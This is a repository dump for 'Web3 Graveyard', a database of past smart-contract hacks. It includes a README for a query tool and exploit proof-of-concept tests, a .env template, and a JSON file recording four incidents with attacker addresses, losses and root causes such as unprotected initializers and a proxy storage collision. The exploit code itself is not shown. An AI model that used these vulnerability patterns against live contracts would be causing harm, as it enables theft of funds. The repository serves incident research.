├── .env ├── .gitattributes ├── .gitignore ├── CNAME ├── LICENSE ├── README.md ├── assets ├── css │ ├── searchbar.css │ └── style.css ├── exploit-database.json ├── img │ ├── audius.png │ ├── gnomes.png │ ├── hero-bg.jpg │ ├── nomad.png │ └── quixotic.png ├── js │ ├── main.js │ └── searchbar.js └── vendor │ ├── aos │ ├── aos.css │ └── aos.js │ ├── bootstrap-icons │ ├── bootstrap-icons.css │ ├── bootstrap-icons.json │ ├── fonts │ │ ├── bootstrap-icons.woff │ │ └── bootstrap-icons.woff2 │ └── index.html │ ├── bootstrap │ ├── css │ │ ├── bootstrap-grid.css │ │ ├── bootstrap-grid.css.map │ │ ├── bootstrap-grid.min.css │ │ ├── bootstrap-grid.min.css.map │ │ ├── bootstrap-grid.rtl.css │ │ ├── bootstrap-grid.rtl.css.map │ │ ├── bootstrap-grid.rtl.min.css │ │ ├── bootstrap-grid.rtl.min.css.map │ │ ├── bootstrap-reboot.css │ │ ├── bootstrap-reboot.css.map │ │ ├── bootstrap-reboot.min.css │ │ ├── bootstrap-reboot.min.css.map │ │ ├── bootstrap-reboot.rtl.css │ │ ├── bootstrap-reboot.rtl.css.map │ │ ├── bootstrap-reboot.rtl.min.css │ │ ├── bootstrap-reboot.rtl.min.css.map │ │ ├── bootstrap-utilities.css │ │ ├── bootstrap-utilities.css.map │ │ ├── bootstrap-utilities.min.css │ │ ├── bootstrap-utilities.min.css.map │ │ ├── bootstrap-utilities.rtl.css │ │ ├── bootstrap-utilities.rtl.css.map │ │ ├── bootstrap-utilities.rtl.min.css │ │ ├── bootstrap-utilities.rtl.min.css.map │ │ ├── bootstrap.css │ │ ├── bootstrap.css.map │ │ ├── bootstrap.min.css │ │ ├── bootstrap.min.css.map │ │ ├── bootstrap.rtl.css │ │ ├── bootstrap.rtl.css.map │ │ ├── bootstrap.rtl.min.css │ │ └── bootstrap.rtl.min.css.map │ └── js │ │ ├── bootstrap.bundle.js │ │ ├── bootstrap.bundle.js.map │ │ ├── bootstrap.bundle.min.js │ │ ├── bootstrap.bundle.min.js.map │ │ ├── bootstrap.esm.js │ │ ├── bootstrap.esm.js.map │ │ ├── bootstrap.esm.min.js │ │ ├── bootstrap.esm.min.js.map │ │ ├── bootstrap.js │ │ ├── bootstrap.js.map │ │ ├── bootstrap.min.js │ │ └── bootstrap.min.js.map │ ├── boxicons │ ├── css │ │ ├── animations.css │ │ ├── boxicons.css │ │ ├── boxicons.min.css │ │ └── transformations.css │ └── fonts │ │ ├── boxicons.eot │ │ ├── boxicons.svg │ │ ├── boxicons.ttf │ │ ├── boxicons.woff │ │ └── boxicons.woff2 │ ├── glightbox │ ├── css │ │ ├── glightbox.css │ │ ├── glightbox.min.css │ │ ├── plyr.css │ │ └── plyr.min.css │ └── js │ │ ├── glightbox.js │ │ └── glightbox.min.js │ ├── isotope-layout │ ├── isotope.pkgd.js │ └── isotope.pkgd.min.js │ ├── php-email-form │ └── validate.js │ ├── purecounter │ └── purecounter_vanilla.js │ ├── swiper │ ├── swiper-bundle.min.css │ └── swiper-bundle.min.js │ ├── typed.js │ ├── typed.js │ ├── typed.min.js │ └── typed.min.js.map │ └── waypoints │ └── noframework.waypoints.js ├── contracts └── Quixotic │ ├── ExchangeV4.sol │ ├── FakeNFT.sol │ └── README.md ├── gravedigger ├── __init__.py └── main.py ├── hardhat.config.js ├── index.html ├── package-lock.json ├── package.json ├── pyproject.toml ├── setup.py └── test └── Quixotic └── Quixotic.js /.env: -------------------------------------------------------------------------------- 1 | ALCHEMY_OPTIMISM = "Add your API KEY" 2 | Attacker_PRIVKEY = "Add the private key" -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /dist/ 2 | /*.egg-info 3 | /.vscode -------------------------------------------------------------------------------- /CNAME: -------------------------------------------------------------------------------- 1 | web3graveyard.ml -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Web3 Graveyard 2 | 3 | [Web3 Graveyard](https://web3graveyard.ml) is a database of past Web3 hacks 4 | 5 | ### Gravedigger 6 | 7 | **gravedigger** is a helper utility to query database for specific information and also update it with new hacks 8 | 9 | ### Install 10 | 11 | `pip3 install -e .` from the root of this directory. It will install the tool in edit mode (create symlinks), means you can edit the code and changes will be reflected directly to your environment. 12 | 13 | ### Usage 14 | 15 | `auth` : Sets up the github authentication token 16 | 17 | ``` 18 | gravedigger auth GithubAuthToken 19 | ``` 20 | 21 | `find` : Reverse Search an attacker address which was involved with a particular project 22 | 23 | ``` 24 | gravedigger find 0xa0c7BD318D69424603CBf91e9969870F21B8ab4c 25 | ``` 26 | 27 | `range` : Find hacks which happened within a given date range 28 | 29 | ``` 30 | gravedigger range -s "1 August 2022" -e "7 August 2022" 31 | ``` 32 | 33 | `s` and `e` are optional parameters, if not provided will pick the default values 34 | 35 | `update` : Update the database with new hacks 36 | 37 | ``` 38 | gravedigger update audius 39 | ``` 40 | 41 | ### Tips 42 | * Date provided, either for finding hacks within a range or updating the database should follow the strict format as %d Month %Y (1 June 2022) 43 | * While updating new hacks the input addresses are supposed to be block explorer links like 44 | `https://etherscan.io/address/0xA62c3ced6906B188A4d4A3c981B79f2AABf2107F` 45 | --- 46 | 47 | ### PoCs/Analysis 48 | 49 | The repo also contains some analysis and PoCs for past exploits. 50 | 51 | ### Setup 52 | 53 | ### Install Dependencies 54 | ```bash 55 | npm install 56 | ``` 57 | 58 | ### Add API and Private Keys 59 | Add your node api keys in the `.env` file 60 | 61 | ### Modify Block Number 62 | All the tests fork respective chains at a certain block number. Modify them as per the needs. 63 | 64 | ### Run PoC Tests 65 | All the tests are organized in their respective protocol/project's folder. 66 | ```bash 67 | npx hardhat test .\test\\ 68 | ``` 69 | 70 | ### Exploit Analysis 71 | The detailed analysis for every exploit can be found in the `README.md` file in every `\contracts\\` directory. 72 | -------------------------------------------------------------------------------- /assets/css/searchbar.css: -------------------------------------------------------------------------------- 1 | 2 | form { 3 | transition: all 0.5s; 4 | position: relative; 5 | } 6 | .finder { 7 | border: 1px solid #fff; 8 | background-color: #f6f5f0; 9 | border-radius: 15px; 10 | padding: 8px; 11 | box-shadow: 9px 9px 16px rgba(189, 189, 189, 0.6), -9px -9px 16px rgba(255, 255, 255, 0.5); 12 | width: 50%; 13 | } 14 | .finder__outer { 15 | display: flex; 16 | width: 100%; 17 | padding: 1.5rem 2rem; 18 | border-radius: 10px; 19 | box-shadow: inset 10px 10px 15px -10px #c3c3c3, inset -10px -10px 15px -10px #ffffff; 20 | } 21 | .finder__inner { 22 | display: flex; 23 | width: 100%; 24 | align-items: center; 25 | position: relative; 26 | flex: 1; 27 | } 28 | 29 | .finder__input { 30 | height: calc(100% + 3rem); 31 | width: 100%; 32 | border: none; 33 | background-color: transparent; 34 | outline: none; 35 | font-size: 1.5rem; 36 | letter-spacing: 0.75px; 37 | } 38 | .finder__icon { 39 | width: 40px; 40 | height: 40px; 41 | margin-right: 1rem; 42 | transition: all 0.2s; 43 | box-shadow: inset 0 0 0 20px #292929; 44 | border-radius: 50%; 45 | position: relative; 46 | } 47 | .finder__icon:after, .finder__icon:before { 48 | display: block; 49 | content: ""; 50 | position: absolute; 51 | transition: all 0.5s cubic-bezier(0.68, -0.55, 0.265, 1.55); 52 | } 53 | .finder__icon:after { 54 | width: 10px; 55 | height: 10px; 56 | background-color: #292929; 57 | border: 3px solid #f6f5f0; 58 | top: 50%; 59 | position: absolute; 60 | transform: translateY(-50%); 61 | left: 0px; 62 | right: 0; 63 | margin: auto; 64 | border-radius: 50%; 65 | } 66 | .active .finder__icon:after { 67 | border-width: 10px; 68 | background-color: #f6f5f0; 69 | } 70 | .finder__icon:before { 71 | width: 4px; 72 | height: 13px; 73 | background-color: #f6f5f0; 74 | top: 50%; 75 | left: 20px; 76 | transform: rotateZ(45deg) translate(-50%, 0); 77 | transform-origin: 0 0; 78 | border-radius: 4px; 79 | } 80 | .active .finder__icon:before { 81 | background-color: #292929; 82 | width: 6px; 83 | transform: rotateZ(45deg) translate(-50%, 25px); 84 | } 85 | .processing .finder__icon { 86 | transform-origin: 50%; 87 | animation: spinner 0.3s linear infinite; 88 | animation-delay: 0.5s; 89 | } 90 | .active .finder__icon { 91 | transform: translateY(-5px); 92 | } 93 | @keyframes spinner { 94 | 0% { 95 | transform: rotateZ(45deg); 96 | } 97 | 100% { 98 | transform: rotateZ(405deg); 99 | } 100 | } 101 | 102 | table{ 103 | font-family: Arial, Helvetica, sans-serif; 104 | border-collapse: collapse; 105 | width: 100%; 106 | } 107 | td{ 108 | border: 1px solid #ddd; 109 | padding: 8px; 110 | } 111 | table tr:nth-child(even){background-color: #f2f2f2;} 112 | 113 | table tr:hover {background-color: #ddd;} 114 | #nodes{ 115 | margin-left: 2%; 116 | cursor: pointer; 117 | padding: 10px; 118 | list-style-type: none; 119 | font-size: 1.3rem; 120 | width: 5rem; 121 | } 122 | -------------------------------------------------------------------------------- /assets/exploit-database.json: -------------------------------------------------------------------------------- 1 | { 2 | "quixotic": { 3 | "Date": "1 July 2022", 4 | "Estimated Loss": "Over $100k", 5 | "Attacker's Address": [ 6 | "0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5" 7 | ], 8 | "Attacker's Contract": [ 9 | "0xbe81eabDBD437CbA43E4c1c330C63022772C2520" 10 | ], 11 | "Project Contracts": { 12 | "Exchangev4": "0x065e8a87b8f11aed6facf9447abe5e8c5d7502b6", 13 | "ExchangeRegistry": "0x40A863955742dD6CFc873a7D69dc85113FA8085F", 14 | "PaymentERC20Registry": "0x445e27a25606dad4321c7b97ef8350a9585a5c78", 15 | "CancellationRegistry": "0x522149e80BCEF74DE8592A48a4698E195c38Ad37" 16 | }, 17 | "Postmortem/Analysis": [ 18 | "Razzor" 19 | ], 20 | "PoC": [ 21 | "Razzor" 22 | ], 23 | "Chain": "Optimism L2", 24 | "Bug Type": [ 25 | "Incorrect Signature Verification", 26 | "
" 27 | ], 28 | "Project Type": "NFT Marketplace", 29 | "Tags": [ 30 | "NFT" 31 | ], 32 | "Note": "" 33 | }, 34 | "nomad": { 35 | "Date": "2 August 2022", 36 | "Estimated Loss": "Nearly $200M", 37 | "Attacker's Address": [ 38 | "0x56D8B635A7C88Fd1104D23d632AF40c1C3Aac4e3", 39 | "
0xBF293D5138a2a1BA407B43672643434C43827179", 40 | "
0xB5C55f76f90Cc528B2609109Ca14d8d84593590E" 41 | ], 42 | "Attacker's Contract": [ 43 | "0xf57113d8f6ff35747737f026fe0b37d4d7f42777" 44 | ], 45 | "Project Contracts": { 46 | "Replica": "0x5d94309e5a0090b165fa4181519701637b6daeba", 47 | "Nomad ERC20 Bridge (Treasury)": "0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3" 48 | }, 49 | "Postmortem/Analysis": [ 50 | "Samczsun", 51 | "BlockSec", 52 | "Coinbase" 53 | ], 54 | "PoC": [ 55 | "iphelix" 56 | ], 57 | "Chain": "Ethereum", 58 | "Bug Type": [ 59 | "Incorrect verification of root hashes in Replica contract", 60 | "
" 61 | ], 62 | "Project Type": "Cross-chain Bridge", 63 | "Tags": [ 64 | "Bridge", 65 | "Ethereum", 66 | "Moonbeam" 67 | ], 68 | "Note": "There were multiple attackers involved. Addresses, which extracted the most funds are listed above.
Likewise, there were many attack contracts. Project contracts may be used for transaction analysis" 69 | }, 70 | "genomesdao": { 71 | "Date": "6 August 2022", 72 | "Estimated Loss": "Over $40K", 73 | "Attacker's Address": [ 74 | "0x43ec1d163cc4c15b574f86d8203c3b0f3ebed7a3" 75 | ], 76 | "Attacker's Contract": [ 77 | "0x8E10c9493501A828304d77630B6F862Bbf50c052" 78 | ], 79 | "Project Contracts": { 80 | "LPStakingOnPoly(Proxy)#1": "0x3606cfa43f53098bc00b3fcff3a333f6947f3c92", 81 | "LPStakingOnPoly(Proxy)#2": "0x28fc73E9D9f158E7DC57A4E81aa0175d6847f714", 82 | "LPStakingOnPoly(Imp.)": "0x41476c8d9f24a95dde65bcd38a2948f7a667696b", 83 | "VeGnomeLock(Proxy)": "0x48d1ccb09f771788f59c8aaab613936edfa267b7", 84 | "VeGnomeLock(Imp.)": "0x39766384db91daea22ee162681ead20f1154fce7", 85 | "VeGnome(Proxy)": "0x13c3b73f24e30b364fa7a5edff4a752f7771696e", 86 | "VeGnome(Imp.)": "0xEd5F7bcCE10A959c257113168A7120546702A0aA", 87 | "GenomesDAO Governance(Proxy)": "0x6E8a8726639d12935b3219892155520bdC57366B", 88 | "GenomesDAO Governance(Imp.)": "0x9D9aDe5E9C9F5439FE5b322b072994D2BD521b9B" 89 | }, 90 | "Postmortem/Analysis": [ 91 | "SloMist" 92 | ], 93 | "PoC": [ 94 | "#" 95 | ], 96 | "Chain": "Polygon L2", 97 | "Bug Type": [ 98 | "Public Initialize Function in LPStaking that allows resetting stakingToken anytime by anyone", 99 | "
" 100 | ], 101 | "Project Type": "DAO focussed on democratization and decentralization of genomic studies", 102 | "Tags": [ 103 | "DAO, Genome" 104 | ], 105 | "Note": "" 106 | }, 107 | "audius": { 108 | "Date": "23 July 2022", 109 | "Estimated Loss": "Nearly $1M", 110 | "Attacker's Address": [ 111 | "0xa0c7BD318D69424603CBf91e9969870F21B8ab4c" 112 | ], 113 | "Attacker's Contract": [ 114 | "0xA62c3ced6906B188A4d4A3c981B79f2AABf2107F", 115 | "
0xbdbB5945f252bc3466A319CDcC3EE8056bf2e569" 116 | ], 117 | "Project Contracts": { 118 | "Governance(Proxy)": "0x4DEcA517D6817B6510798b7328F2314d3003AbAC", 119 | "Governance(Imp.)": "0x35dD16dFA4ea1522c29DdD087E8F076Cad0AE5E8", 120 | "Staking(Proxy)": "0xe6D97B2099F142513be7A2a068bE040656Ae4591", 121 | "Staking(Imp.)": "0xEA10Fd3536FcE6A5d40d55c790b96df33B26702f", 122 | "DelegateManagerV2(Proxy)": "0x4d7968ebfD390D5E7926Cb3587C39eFf2F9FB225", 123 | "DelegateManagerV2(Imp.)": "0xF24AEAb628493f82742Db68596b532Ab8A141057" 124 | }, 125 | "Postmortem/Analysis": [ 126 | "Audius" 127 | ], 128 | "PoC": [ 129 | "tinchoabbate", 130 | "nukanoto" 131 | ], 132 | "Chain": "Ethereum", 133 | "Bug Type": [ 134 | "Storage Collision: ProxyAdmin in Proxy contract and initialized and initializing state variables
of OZ Initializable contract shares the same slot0. Set ProxyAdmin address has its first two
bytes as non zero bytes, which made the variables represent true, hence initializer will always succeed", 135 | "
" 136 | ], 137 | "Project Type": "Decentralized Music Streaming Platform", 138 | "Tags": [ 139 | "Ethereum", 140 | "Music" 141 | ], 142 | "Note": "" 143 | } 144 | 145 | } 146 | -------------------------------------------------------------------------------- /assets/img/audius.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/img/audius.png -------------------------------------------------------------------------------- /assets/img/gnomes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/img/gnomes.png -------------------------------------------------------------------------------- /assets/img/hero-bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/img/hero-bg.jpg -------------------------------------------------------------------------------- /assets/img/nomad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/img/nomad.png -------------------------------------------------------------------------------- /assets/img/quixotic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/img/quixotic.png -------------------------------------------------------------------------------- /assets/js/main.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Template Name: MyResume - v4.8.1 3 | * Template URL: https://bootstrapmade.com/free-html-bootstrap-template-my-resume/ 4 | * Author: BootstrapMade.com 5 | * License: https://bootstrapmade.com/license/ 6 | */ 7 | (function() { 8 | "use strict"; 9 | 10 | /** 11 | * Easy selector helper function 12 | */ 13 | const select = (el, all = false) => { 14 | el = el.trim() 15 | if (all) { 16 | return [...document.querySelectorAll(el)] 17 | } else { 18 | return document.querySelector(el) 19 | } 20 | } 21 | 22 | /** 23 | * Easy event listener function 24 | */ 25 | const on = (type, el, listener, all = false) => { 26 | let selectEl = select(el, all) 27 | if (selectEl) { 28 | if (all) { 29 | selectEl.forEach(e => e.addEventListener(type, listener)) 30 | } else { 31 | selectEl.addEventListener(type, listener) 32 | } 33 | } 34 | } 35 | 36 | /** 37 | * Easy on scroll event listener 38 | */ 39 | const onscroll = (el, listener) => { 40 | el.addEventListener('scroll', listener) 41 | } 42 | 43 | /** 44 | * Navbar links active state on scroll 45 | */ 46 | let navbarlinks = select('#navbar .scrollto', true) 47 | const navbarlinksActive = () => { 48 | let position = window.scrollY + 200 49 | navbarlinks.forEach(navbarlink => { 50 | if (!navbarlink.hash) return 51 | let section = select(navbarlink.hash) 52 | if (!section) return 53 | if (position >= section.offsetTop && position <= (section.offsetTop + section.offsetHeight)) { 54 | navbarlink.classList.add('active') 55 | } else { 56 | navbarlink.classList.remove('active') 57 | } 58 | }) 59 | } 60 | window.addEventListener('load', navbarlinksActive) 61 | onscroll(document, navbarlinksActive) 62 | 63 | /** 64 | * Scrolls to an element with header offset 65 | */ 66 | const scrollto = (el) => { 67 | let elementPos = select(el).offsetTop 68 | window.scrollTo({ 69 | top: elementPos, 70 | behavior: 'smooth' 71 | }) 72 | } 73 | 74 | /** 75 | * Back to top button 76 | */ 77 | let backtotop = select('.back-to-top') 78 | if (backtotop) { 79 | const toggleBacktotop = () => { 80 | if (window.scrollY > 100) { 81 | backtotop.classList.add('active') 82 | } else { 83 | backtotop.classList.remove('active') 84 | } 85 | } 86 | window.addEventListener('load', toggleBacktotop) 87 | onscroll(document, toggleBacktotop) 88 | } 89 | 90 | /** 91 | * Mobile nav toggle 92 | */ 93 | on('click', '.mobile-nav-toggle', function(e) { 94 | select('body').classList.toggle('mobile-nav-active') 95 | this.classList.toggle('bi-list') 96 | this.classList.toggle('bi-x') 97 | }) 98 | 99 | /** 100 | * Scrool with ofset on links with a class name .scrollto 101 | */ 102 | on('click', '.scrollto', function(e) { 103 | if (select(this.hash)) { 104 | e.preventDefault() 105 | 106 | let body = select('body') 107 | if (body.classList.contains('mobile-nav-active')) { 108 | body.classList.remove('mobile-nav-active') 109 | let navbarToggle = select('.mobile-nav-toggle') 110 | navbarToggle.classList.toggle('bi-list') 111 | navbarToggle.classList.toggle('bi-x') 112 | } 113 | scrollto(this.hash) 114 | } 115 | }, true) 116 | 117 | /** 118 | * Scroll with ofset on page load with hash links in the url 119 | */ 120 | window.addEventListener('load', () => { 121 | if (window.location.hash) { 122 | if (select(window.location.hash)) { 123 | scrollto(window.location.hash) 124 | } 125 | } 126 | }); 127 | 128 | /** 129 | * Preloader 130 | */ 131 | let preloader = select('#preloader'); 132 | if (preloader) { 133 | window.addEventListener('load', () => { 134 | preloader.remove() 135 | }); 136 | } 137 | 138 | /** 139 | * Hero type effect 140 | */ 141 | const typed = select('.typed') 142 | if (typed) { 143 | let typed_strings = typed.getAttribute('data-typed-items') 144 | typed_strings = typed_strings.split(',') 145 | new Typed('.typed', { 146 | strings: typed_strings, 147 | loop: true, 148 | typeSpeed: 100, 149 | backSpeed: 50, 150 | backDelay: 2000 151 | }); 152 | } 153 | 154 | /** 155 | * Skills animation 156 | */ 157 | let skilsContent = select('.skills-content'); 158 | if (skilsContent) { 159 | new Waypoint({ 160 | element: skilsContent, 161 | offset: '80%', 162 | handler: function(direction) { 163 | let progress = select('.progress .progress-bar', true); 164 | progress.forEach((el) => { 165 | el.style.width = el.getAttribute('aria-valuenow') + '%' 166 | }); 167 | } 168 | }) 169 | } 170 | 171 | /** 172 | * Porfolio isotope and filter 173 | */ 174 | window.addEventListener('load', () => { 175 | let portfolioContainer = select('.portfolio-container'); 176 | if (portfolioContainer) { 177 | let portfolioIsotope = new Isotope(portfolioContainer, { 178 | itemSelector: '.portfolio-item' 179 | }); 180 | 181 | let portfolioFilters = select('#portfolio-flters li', true); 182 | 183 | on('click', '#portfolio-flters li', function(e) { 184 | e.preventDefault(); 185 | portfolioFilters.forEach(function(el) { 186 | el.classList.remove('filter-active'); 187 | }); 188 | this.classList.add('filter-active'); 189 | 190 | portfolioIsotope.arrange({ 191 | filter: this.getAttribute('data-filter') 192 | }); 193 | portfolioIsotope.on('arrangeComplete', function() { 194 | AOS.refresh() 195 | }); 196 | }, true); 197 | } 198 | 199 | }); 200 | 201 | /** 202 | * Initiate portfolio lightbox 203 | */ 204 | const portfolioLightbox = GLightbox({ 205 | selector: '.portfolio-lightbox' 206 | }); 207 | 208 | /** 209 | * Initiate portfolio details lightbox 210 | */ 211 | const portfolioDetailsLightbox = GLightbox({ 212 | selector: '.portfolio-details-lightbox', 213 | width: '90%', 214 | height: '90vh' 215 | }); 216 | 217 | /** 218 | * Portfolio details slider 219 | */ 220 | new Swiper('.portfolio-details-slider', { 221 | speed: 400, 222 | loop: true, 223 | autoplay: { 224 | delay: 5000, 225 | disableOnInteraction: false 226 | }, 227 | pagination: { 228 | el: '.swiper-pagination', 229 | type: 'bullets', 230 | clickable: true 231 | } 232 | }); 233 | 234 | /** 235 | * Testimonials slider 236 | */ 237 | new Swiper('.testimonials-slider', { 238 | speed: 600, 239 | loop: true, 240 | autoplay: { 241 | delay: 5000, 242 | disableOnInteraction: false 243 | }, 244 | slidesPerView: 'auto', 245 | pagination: { 246 | el: 